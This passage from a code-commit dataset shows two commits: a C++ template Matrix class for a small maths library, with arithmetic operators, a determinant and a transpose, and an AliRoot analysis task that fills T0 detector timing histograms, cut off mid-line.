trans;\n\t\t}\n\t\n\t}\n}\n\n#endif<commit_msg>Added various maths::Matrix methods<commit_after>#ifndef BOP_MATRIX_HPP\n#define BOP_MATRIX_HPP\n\n#include <memory>\n#include <initializer_list>\n#include <string>\n#include <sstream>\n#include <new>\n#include \"Vector.hpp\"\n\n\/*\n\tbop::maths::Matrix class file\n*\/\n\nnamespace bop {\n\tnamespace maths{\n\t\ttemplate<class T>\n\t\tclass Matrix {\n\t\t\tprotected:\n\t\t\t\tunsigned int width;\n\t\t\t\tunsigned int height;\n\t\t\tpublic:\n\t\t\t\tVector<T>* data;\n\t\t\t\t\n\t\t\t\t\/\/Constructors\n\t\t\t\tMatrix(unsigned int size, T fill = 0) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSquare matrix constructor, sets all values as\n\t\t\t\t\t\tthe given fill value.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data = new Vector<T>[size];\n\t\t\t\t\tfor (unsigned int i = 0; i < size; i++) {\n\t\t\t\t\t\tthis->data[i] = Vector<T>(size, fill);\n\t\t\t\t\t}\n\t\t\t\t\tthis->width = size;\n\t\t\t\t\tthis->height = size;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(unsigned int width, unsigned int height, T fill = 0) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tNon-square matrix constructor, sets all values as \n\t\t\t\t\t\tthe given fill value.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data = new Vector<T>[height];\n\t\t\t\t\tfor (int i = 0; i < height; i++) {\n\t\t\t\t\t\tthis->data[i] = Vector<T>(width, fill);\n\t\t\t\t\t}\n\t\t\t\t\tthis->height = height;\n\t\t\t\t\tthis->width = width;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(std::initializer_list< std::initializer_list<T> > list) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tCreates a matrix from a 2-dimensional initializer_list.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->height = list.size();\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tunsigned int min_w = list.begin()->size();\n\t\t\t\t\tint i = 0;\n\t\t\t\t\tfor (auto elem : list) {\n\t\t\t\t\t\tif (elem.size() < min_w) min_w = elem.size();\n\t\t\t\t\t\tthis->data[i] = elem;\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\tthis->width = min_w;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(Matrix<T>& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tCopy constructor.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tfor (unsigned int i = 0; i < this->width; i++) {\n\t\t\t\t\t\tthis->data[i] = mat.data[i];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix(Matrix<T>&& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMove constructor.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tthis->data = mat.data;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix() {\n\t\t\t\t\t\n\t\t\t\t\t\/*\n\t\t\t\t\t\tEmpty constructor.\n\t\t\t\t\t*\/\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Destructor\n\t\t\t\t~Matrix() {\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Operator overloads\n\t\t\t\tinline Vector<T>& operator[] (const unsigned int index) {\n\t\t\t\t\treturn this->data[index];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator= (const Matrix<T> &mat) {\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\tthis->height = mat.height;\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t\tthis->data = new Vector<T>[this->height];\n\t\t\t\t\tfor (unsigned int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] = mat.data[i];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Boolean logic overloads\n\t\t\t\tbool operator== (const Matrix<T>& mat) {\n\t\t\t\t\tif (this->width == mat.width && this->height == mat.height) {\n\t\t\t\t\t\tbool same = true;\n\t\t\t\t\t\tfor (unsigned int i = 0; i < this->height && same; i++) {\n\t\t\t\t\t\t\tsame = (this->data[i] == mat.data[i]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn same;\n\t\t\t\t\t}\n\t\t\t\t\telse return false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbool operator!= (const Matrix<T>& mat) {\n\t\t\t\t\treturn !(this->operator==(mat));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Arithmetic overloads\n\t\t\t\tMatrix<T>& operator*= (const T scalar) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tScalar multiplication member operator, multiplies all\n\t\t\t\t\t\telements by the given scalar.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] *= scalar;\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator*= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMatrix multiplication member operator.\n\t\t\t\t\t*\/\n\t\t\t\t\tVector<T>* temp = new Vector<T>[this->height];\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\ttemp[i] = Vector<T>(mat.width);\n\t\t\t\t\t}\n\t\t\t\t\tfor (int r = 0; r < this->height; r++) {\n\t\t\t\t\t\tfor (int c = 0; c < mat.width; c++) {\n\t\t\t\t\t\t\tT product = 0;\n\t\t\t\t\t\t\tfor (int i = 0; i < mat.width; i++) {\n\t\t\t\t\t\t\t\tproduct += (this->data[r][i] * mat.data[i][c]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\ttemp[r][c] = product;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdelete[] this->data;\n\t\t\t\t\tthis->data = temp;\n\t\t\t\t\tthis->width = mat.width;\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator\/= (const T scalar) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tScalar division member operator, divides all elements\n\t\t\t\t\t\tby the given scalar.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] \/= scalar;\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator+= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tAddition member operator, adds all the elements of a\n\t\t\t\t\t\tgiven matrix to the matrix.\n\t\t\t\t\t*\/\t\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] += mat[i];\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tMatrix<T>& operator-= (Matrix<T> &mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSubtraction member operator, subtracts the value of\n\t\t\t\t\t\teach element in a given matrix from the matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tfor (int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tthis->data[i] -= mat[i];\n\t\t\t\t\t}\n\t\t\t\t\treturn *this;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Information functions\n\t\t\t\tinline unsigned int w() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tReturns the width of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn this->width;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tinline unsigned int h() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tReturns the height of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn this->height;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tinline bool square() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tTests if the Matrix is a square Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\treturn (this->width == this->height);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbool identity() {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tTests if the matrix is an identity matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tif (this->width == this->height) {\n\t\t\t\t\t\tbool identity = true;\n\t\t\t\t\t\tfor (unsigned int y = 0; y < this->height && identity; y++) {\n\t\t\t\t\t\t\tfor (unsigned int x = 0; x < this->width && identity; x++) {\n\t\t\t\t\t\t\t\tif (x == y) identity = (this->data[y][x] == 1);\n\t\t\t\t\t\t\t\telse identity = (this->data[y][x] == 0);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn identity;\n\t\t\t\t\t}\n\t\t\t\t\telse return false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tstd::string string(bool newlines = true) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tSimilar to the maths::Vector::string function, returns \n\t\t\t\t\t\ta human-readable representation of the Matrix.\n\t\t\t\t\t*\/\n\t\t\t\t\tstd::ostringstream mat_str;\n\t\t\t\t\tfor (unsigned int i = 0; i < this->height; i++) {\n\t\t\t\t\t\tmat_str << '[' << this->data[i].string(false) << ']';\n\t\t\t\t\t\tif (newlines) mat_str << '\\n';\n\t\t\t\t\t}\n\t\t\t\t\treturn mat_str.str();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\/\/Matrix manipulation functions.\n\t\t\t\t\n\t\t\t\tinline void swapRows(unsigned int index_a, unsigned int index_b) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tRow swap function, for use in such algorithms as Gauss-Jordan\n\t\t\t\t\t\telimination.\n\t\t\t\t\t*\/\n\t\t\t\t\tthis->data[index_a].swap(this->data[index_b]);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tvoid swap(Matrix<T>& mat) {\n\t\t\t\t\t\/*\n\t\t\t\t\t\tMatrix object swap function.\n\t\t\t\t\t*\/\n\t\t\t\t\tVector<T>* temp_arr = mat.data;\n\t\t\t\t\tunsigned int temp_w = mat.width;\n\t\t\t\t\tunsigned int temp_h = mat.height;\n\t\t\t\t\tmat.data = this->data;\n\t\t\t\t\tmat.width = this->width;\n\t\t\t\t\tmat.height = this->height;\n\t\t\t\t\tthis->data = temp_arr;\n\t\t\t\t\tthis->width = temp_w;\n\t\t\t\t\tthis->height = temp_h;\n\t\t\t\t}\n\t\t};\n\t\t\n\t\t\/\/External arithmetic overloads\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator* (Matrix<T> mat, const T scalar) {\n\t\t\tmat *= scalar;\n\t\t\treturn mat;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator* (Matrix<T> mat1, Matrix<T>& mat2) {\n\t\t\tmat1 *= mat2;\n\t\t\treturn mat1;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator\/ (Matrix<T> mat, const T scalar) {\n\t\t\tmat \/= scalar;\n\t\t\treturn mat;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator+ (Matrix<T> mat1, Matrix<T>& mat2) {\n\t\t\tmat1 += mat2;\n\t\t\treturn mat1;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> operator- (Matrix<T> mat1, Matrix<T>& mat2) {\n\t\t\tmat1 -= mat2;\n\t\t\treturn mat1;\n\t\t}\n\t\t\n\t\t\/\/Matrix related functions\n\t\ttemplate<class T>\n\t\tT determinant(Matrix<T>& mat, Vector<bool>& allowed_cols, unsigned int& size) {\n\t\t\t\/*\n\t\t\t\tRecursive matrix determinant function.\n\t\t\t*\/\n\t\t\tif (size == 2) {\n\t\t\t\t\/\/the  base case, finding the 2 by 2 matrix determinant\n\t\t\t\tint c1 = -1, c2 = -1;\n\t\t\t\tfor (unsigned int i = 0; i < mat.w(); i++) {\n\t\t\t\t\tif (allowed_cols[i]) {\n\t\t\t\t\t\tif (c1 < 0) {\n\t\t\t\t\t\t\tc1 = i;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (c2 < 0) {\n\t\t\t\t\t\t\tc2 = i;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn (mat[mat.h() - 2][c1] * mat[mat.h() - 1][c2]) - (mat[mat.h() - 2][c2] * mat[mat.h() - 1][c1]);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsize--;\n\t\t\t\tT product = 0;\n\t\t\t\tT multi = 1;\n\t\t\t\tfor (int i = 0; i < mat.w(); i++) {\n\t\t\t\t\tif (!allowed_cols[i]) continue;\n\t\t\t\t\telse {\n\t\t\t\t\t\tallowed_cols[i] = false;\n\t\t\t\t\t\tproduct += (multi * (mat[mat.h() - size][i] * determinant(mat, allowed_cols, size)));\n\t\t\t\t\t\tmulti *= -1;\n\t\t\t\t\t\tallowed_cols[i] = true;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tsize++;\n\t\t\t\treturn product;\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tT determinant(Matrix<T>& mat) {\n\t\t\t\/*\n\t\t\t\tMatrix determinant init function.\n\t\t\t*\/\n\t\t\tif (!mat.square()) return static_cast<T>(0);\n\t\t\telse {\n\t\t\t\tif (mat.w() == 2) {\n\t\t\t\t\t\/\/shortcut to determinant of a 2 by 2 matrix\n\t\t\t\t\treturn (mat[0][0] * mat[1][1]) - (mat[0][1] * mat[1][0]);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tVector<bool> allowed_cols(mat.w(), true);\n\t\t\t\t\tT product = 0;\n\t\t\t\t\tT multi = 1;\n\t\t\t\t\tint size = mat.h() - 1;\n\t\t\t\t\tfor (int i = 0; i < mat.w(); i++) {\n\t\t\t\t\t\tallowed_cols[i] = false;\n\t\t\t\t\t\tproduct += (multi * (mat[0][i] * determinant(mat, allowed_cols, size)));\n\t\t\t\t\t\tmulti *= -1;\n\t\t\t\t\t\tallowed_cols[i] = true;\n\t\t\t\t\t}\n\t\t\t\t\treturn product;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> identityMatrix(unsigned int size) {\n\t\t\t\/*\n\t\t\t\tReturns an Identity Matrix.\n\t\t\t*\/\n\t\t\tMatrix<T> unit_m(size);\n\t\t\tfor (int i = 0; i < size; i++) {\n\t\t\t\tunit_m[i] = 1;\n\t\t\t}\n\t\t\treturn unit_m;\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tbool invertable(Matrix<T> &mat) {\n\t\t\treturn (mat.square() && determinant(mat) != 0);\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> inverseMatrix(Matrix<T> mat, bool tested = true) {\n\t\t\t\/*\n\t\t\t\tMatrix inverse by Gauss-Jordan method. Assumes that the\n\t\t\t\tmatrix has already been tested as invertible. takes a \n\t\t\t\tCOPY of a matrix, as this method requires the manipulation\n\t\t\t\tof the rows of the matrix.\n\t\t\t*\/\n\t\t\tif (!tested && invertable(mat) == 0) {\n\t\t\t\t\/*\n\t\t\t\t\tIn the case that the matrix is not invertible, the function will\n\t\t\t\t\treturn an identity matrix with the height of the given matrix.\n\t\t\t\t*\/\n\t\t\t\treturn identityMatrix(mat.h());\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\/\/todo\n\t\t\t}\n\t\t}\n\t\t\n\t\ttemplate<class T>\n\t\tMatrix<T> transposeMatrix(Matrix<T> &mat) {\n\t\t\t\/*\n\t\t\t\tCreates & returns a transposed version of the given matrix.\n\t\t\t*\/\n\t\t\tMatrix<T> trans(mat.h(), mat.w(), 0);\n\t\t\tfor (unsigned int y = 0; y < mat.h(); y++) {\n\t\t\t\tfor (unsigned int x = 0; x < mat.w(); x++) {\n\t\t\t\t\ttrans[x][y] = mat[y][x];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn trans;\n\t\t}\n\t\n\t}\n}\n\n#endif<|endoftext|>"}
{"text":"<commit_before>#include \"TChain.h\"\r\n#include \"TTree.h\"\r\n#include \"TH1D.h\"\r\n#include \"TF1.h\"\r\n#include \"TCanvas.h\"\r\n#include \"TObjArray.h\"\r\n\r\n#include \"AliAnalysisTask.h\"\r\n#include \"AliAnalysisManager.h\"\r\n\r\n#include \"AliESDEvent.h\"\r\n#include \"AliESDInputHandler.h\"\r\n\r\n#include \"AliT0CalibOffsetChannelsTask.h\"\r\n\r\n\/\/#include \"AliCDBMetaData.h\"\r\n\/\/#include \"AliCDBId.h\"\r\n\/\/#include \"AliCDBEntry.h\"\r\n\/\/#include \"AliCDBManager.h\"\r\n\/\/#include \"AliCDBStorage.h\"\r\n\r\n\/\/ Task should calculate channels offset \r\n\/\/ Authors: Alla \r\n\r\nClassImp(AliT0CalibOffsetChannelsTask)\r\n\/\/________________________________________________________________________\r\nAliT0CalibOffsetChannelsTask::AliT0CalibOffsetChannelsTask() \r\n  : AliAnalysisTaskSE(),  fESD(0x0), fTzeroObject(0x0),\r\n  fTzeroORA(0x0), fTzeroORC(0x0), fResolution(0x0), fTzeroORAplusORC(0x0),\r\n  fRunNumber(0)\r\n{\r\n  \/\/ Constructor\r\n\r\n  for( int ip=0; ip < 24; ip++){\r\n    fTimeDiff[ip] = 0;\r\n    fCFD[ip]      = 0;\r\n    fCDBdelays[ip]= 0;\r\n    fCDBcfds[ip]= 0;\r\n    fCDBT0s[ip]= 0;\r\n  }\r\n\r\n  \/\/ Define input and output slots here\r\n  \/\/ Input slot #0 works with a TChain\r\n  \/\/  DefineInput(0,  TChain::Class());\r\n  \/\/  DefineOutput(1, TObjArray::Class());\r\n}\r\n\r\n\r\n\/\/________________________________________________________________________\r\nAliT0CalibOffsetChannelsTask::AliT0CalibOffsetChannelsTask(const char *name) \r\n  : AliAnalysisTaskSE(name), fESD(0), fTzeroObject(0),\r\n  fTzeroORA(0x0), fTzeroORC(0x0), fResolution(0x0), fTzeroORAplusORC(0x0),\r\n    fRunNumber(0)\r\n{\r\n  \/\/ Constructor\r\n \r\n  for( int ip=0; ip < 24; ip++){\r\n    fTimeDiff[ip] = 0;\r\n    fCFD[ip]      = 0;\r\n    fCDBdelays[ip]= 0;\r\n    fCDBcfds[ip]= 0;\r\n    fCDBT0s[ip]= 0;\r\n\r\n  }\r\n \r\n  \/\/ Define input and output slots here\r\n  \/\/ Input slot #0 works with a TChain\r\n  DefineInput(0, TChain::Class());\r\n  DefineOutput(1, TObjArray::Class());\r\n  \/\/ Output slot #0 id reserved by the base class for AOD\r\n  \/\/ Output slot #1 writes into a TH1 container\r\n}\r\n\r\n\/\/________________________________________________________________________\r\nAliT0CalibOffsetChannelsTask::~AliT0CalibOffsetChannelsTask() \r\n{\r\n  \/\/ Destructor\r\n  \/\/ printf(\"AliT0CalibOffsetChannels~AliT0CalibOffsetChannels() \");\r\n  delete fTzeroORA;\r\n  delete fTzeroORC;\r\n  delete fResolution;\r\n  delete fTzeroORAplusORC;\r\n  for( Int_t  ip=0; ip < 24; ip++){\r\n    delete fTimeDiff[ip];\r\n    delete fCFD[ip];\r\n  }\r\n  \r\n  delete fTzeroObject;\r\n}\r\n\r\n\/\/________________________________________________________________________\r\n\/*void AliT0CalibOffsetChannelsTaskX::ConnectInputData(Option_t *) {\r\n  \/\/\r\n  \/\/\r\n  \/\/\r\n  TTree* tree=dynamic_cast<TTree*>(GetInputData(0));\r\n  if (!tree) {\r\n    printf(\"ERROR: Could not read chain from input slot 0\");\r\n  } \r\n  else {\r\n    AliESDInputHandler *esdH = dynamic_cast<AliESDInputHandler*> (AliAnalysisManager::GetAnalysisManager()->GetInputEventHandler());\r\n    if (!esdH) {\r\n      printf (\"ERROR: Could not get ESDInputHandler\");\r\n    } \r\n    else {\r\n      fESD = esdH->GetEvent();\r\n      printf (\"*** CONNECTED NEW EVENT ****\");\r\n    }\r\n  }\r\n}\r\n*\/\r\n\/\/________________________________________________________________________\r\nvoid AliT0CalibOffsetChannelsTask::UserCreateOutputObjects()\r\n{\r\n  \/\/ Create histograms\r\n  for (Int_t i=0; i<24; i++) {\r\n    fTimeDiff[i]   = new TH1F (Form(\"CFD1minCFD%d\",i+1),\"fTimeDiff\",150, -300, 300);\r\n    fCFD[i]        = new TH1F(Form(\"CFD%d\",i+1),\"CFD\",250, 2000, 3000);\/\/6000, 7000);\r\n    \/\/    fCFD[i]        = new TH1F(Form(\"CFD%d\",i+1),\"CFD\",250, -1000, 1000);\/\/6000, 7000);\r\n  }\r\n\r\n  fTzeroORAplusORC = new TH1F(\"fTzeroORAplusORC\",\"ORA+ORC \/2\",200,-2500,2500);   \/\/or A plus or C \r\n  fResolution      = new TH1F(\"fResolution\",\"fResolution\",400,-2500,2500);\/\/ or A minus or C spectrum\r\n  fTzeroORA        = new TH1F(\"fTzeroORA\",\"fTzeroORA\",200,-2500,2500);\/\/ or A spectrum\r\n  fTzeroORC        = new TH1F(\"fTzeroORC\",\"fTzeroORC\",200,-2500,2500);\/\/ or C spectrum\r\n\r\n  \r\n  fTzeroObject     = new TObjArray(0);\r\n  fTzeroObject->SetOwner(kTRUE);\r\n  \r\n  for (Int_t i=0; i<24; i++)\r\n    fTzeroObject->AddAtAndExpand(fTimeDiff[i],i);\r\n\r\n  for (Int_t i=0; i<24; i++)\r\n    fTzeroObject->AddAtAndExpand(fCFD[i],i+24); \/\/24 - 48\r\n\r\n  fTzeroObject->AddAtAndExpand(fTzeroORAplusORC, 48);\r\n  fTzeroObject->AddAtAndExpand(fResolution, 49);\r\n  fTzeroObject->AddAtAndExpand(fTzeroORA, 50);\r\n  fTzeroObject->AddAtAndExpand(fTzeroORC, 51);\r\n\r\n  PostData(1, fTzeroObject);\r\n  \/\/ Called once\r\n}\r\n\r\n\/\/________________________________________________________________________\r\nvoid AliT0CalibOffsetChannelsTask::UserExec(Option_t *) \r\n{\r\n  \/\/ Main loop\r\n  \/\/ Called for each event\r\n\r\n  \/\/ Post output data.\r\n  fESD = dynamic_cast<AliESDEvent*>(InputEvent());\r\n  if (!fESD) {\r\n    printf(\"ERROR: fESD not available\\n\");\r\n    return;\r\n  }\r\n\r\n  fRunNumber =  fESD->GetRunNumber() ; \r\n\r\n  const Double32_t* time = fESD->GetT0time();\r\n  const Double32_t* amp = fESD->GetT0amplitude();\r\n  Double32_t diff;\r\n  for (Int_t i=0; i<12; i++) {\r\n    if( time[i] !=0  && amp[i]>0.1 ){\r\n      fCFD[i]->Fill( time[i] );\r\n      \/\/  printf(\" time %f ocdb %f \\n\", time[i],fCDBcfds[i]); \r\n      \r\n      if(  time[0] != 0 ) {\r\n\tdiff =  time[i]-time[0] + fCDBdelays[i];\r\n\tfTimeDiff[i]->Fill( diff);\r\n      }\r\n    }\r\n  }\r\n  for (Int_t i=12; i<24; i++) {\r\n    if( time[i] != 0 && amp[i]>0.1) {\r\n      fCFD[i]->Fill( time[i]);\r\n      \/\/  printf(\" time %f ocdb %f \\n\", time[i],fCDBcfds[i]); \r\n       if( time[12] != 0 ) {\r\n\tdiff =  time[i]-time[12] + fCDBdelays[i];\r\n\tfTimeDiff[i]->Fill( diff);\r\n      }\r\n    }\r\n  }\r\n  const Double32_t* mean = fESD->GetT0TOF();\r\n  Double32_t meanTOF = mean[0] +  fCDBT0s[0];\r\n  Double32_t orA = mean[1]  +  fCDBT0s[1];\r\n  Double32_t orC = mean[2] +  fCDBT0s[2];\r\n \r\n  if(orA<9999) fTzeroORA->Fill(orA);\r\n  if(orC<9999) fTzeroORC->Fill(orC);\r\n  if(orA<9999 && orC<9999) fResolution->Fill((orA-orC)\/2.);\r\n  if(orA<9999 && orC<9999) fTzeroORAplusORC->Fill(meanTOF); \r\n\r\n  \/\/  printf(\"%f   %f  %f\\n\",orA,orC,meanTOF);\r\n  PostData(1, fTzeroObject);\r\n}      \r\n \/\/________________________________________________________________________\r\nvoid AliT0CalibOffsetChannelsTask::Terminate(Option_t *) \r\n{\r\n  \r\n   \/\/ Called once at the end of the query\r\n}\r\n \r\n<commit_msg>coverity fixed<commit_after>#include \"TChain.h\"\r\n#include \"TTree.h\"\r\n#include \"TH1D.h\"\r\n#include \"TF1.h\"\r\n#include \"TCanvas.h\"\r\n#include \"TObjArray.h\"\r\n\r\n#include \"AliAnalysisTask.h\"\r\n#include \"AliAnalysisManager.h\"\r\n\r\n#include \"AliESDEvent.h\"\r\n#include \"AliESDInputHandler.h\"\r\n\r\n#include \"AliT0CalibOffsetChannelsTask.h\"\r\n\r\n\/\/#include \"AliCDBMetaData.h\"\r\n\/\/#include \"AliCDBId.h\"\r\n\/\/#include \"AliCDBEntry.h\"\r\n\/\/#include \"AliCDBManager.h\"\r\n\/\/#include \"AliCDBStorage.h\"\r\n\r\n\/\/ Task should calculate channels offset \r\n\/\/ Authors: Alla \r\n\r\nClassImp(AliT0CalibOffsetChannelsTask)\r\n\/\/________________________________________________________________________\r\nAliT0CalibOffsetChannelsTask::AliT0CalibOffsetChannelsTask() \r\n  : AliAnalysisTaskSE(),  fESD(0x0), fTzeroObject(0x0),\r\n  fTzeroORA(0x0), fTzeroORC(0x0), fResolution(0x0), fTzeroORAplusORC(0x0),\r\n  fRunNumber(0)\r\n{\r\n  \/\/ Constructor\r\n\r\n  for( int ip=0; ip < 24; ip++){\r\n    fTimeDiff[ip] = 0;\r\n    fCFD[ip]      = 0;\r\n    fCDBdelays[ip]= 0;\r\n    fCDBcfds[ip]= 0;\r\n    if (ip<5 ) fCDBT0s[ip]= 0;\r\n  }\r\n\r\n  \/\/ Define input and output slots here\r\n  \/\/ Input slot #0 works with a TChain\r\n  \/\/  DefineInput(0,  TChain::Class());\r\n  \/\/  DefineOutput(1, TObjArray::Class());\r\n}\r\n\r\n\r\n\/\/________________________________________________________________________\r\nAliT0CalibOffsetChannelsTask::AliT0CalibOffsetChannelsTask(const char *name) \r\n  : AliAnalysisTaskSE(name), fESD(0), fTzeroObject(0),\r\n  fTzeroORA(0x0), fTzeroORC(0x0), fResolution(0x0), fTzeroORAplusORC(0x0),\r\n    fRunNumber(0)\r\n{\r\n  \/\/ Constructor\r\n \r\n  for( int ip=0; ip < 24; ip++){\r\n    fTimeDiff[ip] = 0;\r\n    fCFD[ip]      = 0;\r\n    fCDBdelays[ip]= 0;\r\n    fCDBcfds[ip]= 0;\r\n    if (ip<5 ) fCDBT0s[ip]= 0;\r\n\r\n  }\r\n \r\n  \/\/ Define input and output slots here\r\n  \/\/ Input slot #0 works with a TChain\r\n  DefineInput(0, TChain::Class());\r\n  DefineOutput(1, TObjArray::Class());\r\n  \/\/ Output slot #0 id reserved by the base class for AOD\r\n  \/\/ Output slot #1 writes into a TH1 container\r\n}\r\n\r\n\/\/________________________________________________________________________\r\nAliT0CalibOffsetChannelsTask::~AliT0CalibOffsetChannelsTask() \r\n{\r\n  \/\/ Destructor\r\n  \/\/ printf(\"AliT0CalibOffsetChannels~AliT0CalibOffsetChannels() \");\r\n  delete fTzeroORA;\r\n  delete fTzeroORC;\r\n  delete fResolution;\r\n  delete fTzeroORAplusORC;\r\n  for( Int_t  ip=0; ip < 24; ip++){\r\n    delete fTimeDiff[ip];\r\n    delete fCFD[ip];\r\n  }\r\n  \r\n  delete fTzeroObject;\r\n}\r\n\r\n\/\/________________________________________________________________________\r\n\/*void AliT0CalibOffsetChannelsTaskX::ConnectInputData(Option_t *) {\r\n  \/\/\r\n  \/\/\r\n  \/\/\r\n  TTree* tree=dynamic_cast<TTree*>(GetInputData(0));\r\n  if (!tree) {\r\n    printf(\"ERROR: Could not read chain from input slot 0\");\r\n  } \r\n  else {\r\n    AliESDInputHandler *esdH = dynamic_cast<AliESDInputHandler*> (AliAnalysisManager::GetAnalysisManager()->GetInputEventHandler());\r\n    if (!esdH) {\r\n      printf (\"ERROR: Could not get ESDInputHandler\");\r\n    } \r\n    else {\r\n      fESD = esdH->GetEvent();\r\n      printf (\"*** CONNECTED NEW EVENT ****\");\r\n    }\r\n  }\r\n}\r\n*\/\r\n\/\/________________________________________________________________________\r\nvoid AliT0CalibOffsetChannelsTask::UserCreateOutputObjects()\r\n{\r\n  \/\/ Create histograms\r\n  for (Int_t i=0; i<24; i++) {\r\n    fTimeDiff[i]   = new TH1F (Form(\"CFD1minCFD%d\",i+1),\"fTimeDiff\",150, -300, 300);\r\n    fCFD[i]        = new TH1F(Form(\"CFD%d\",i+1),\"CFD\",250, 2000, 3000);\/\/6000, 7000);\r\n    \/\/    fCFD[i]        = new TH1F(Form(\"CFD%d\",i+1),\"CFD\",250, -1000, 1000);\/\/6000, 7000);\r\n  }\r\n\r\n  fTzeroORAplusORC = new TH1F(\"fTzeroORAplusORC\",\"ORA+ORC \/2\",200,-2500,2500);   \/\/or A plus or C \r\n  fResolution      = new TH1F(\"fResolution\",\"fResolution\",400,-2500,2500);\/\/ or A minus or C spectrum\r\n  fTzeroORA        = new TH1F(\"fTzeroORA\",\"fTzeroORA\",200,-2500,2500);\/\/ or A spectrum\r\n  fTzeroORC        = new 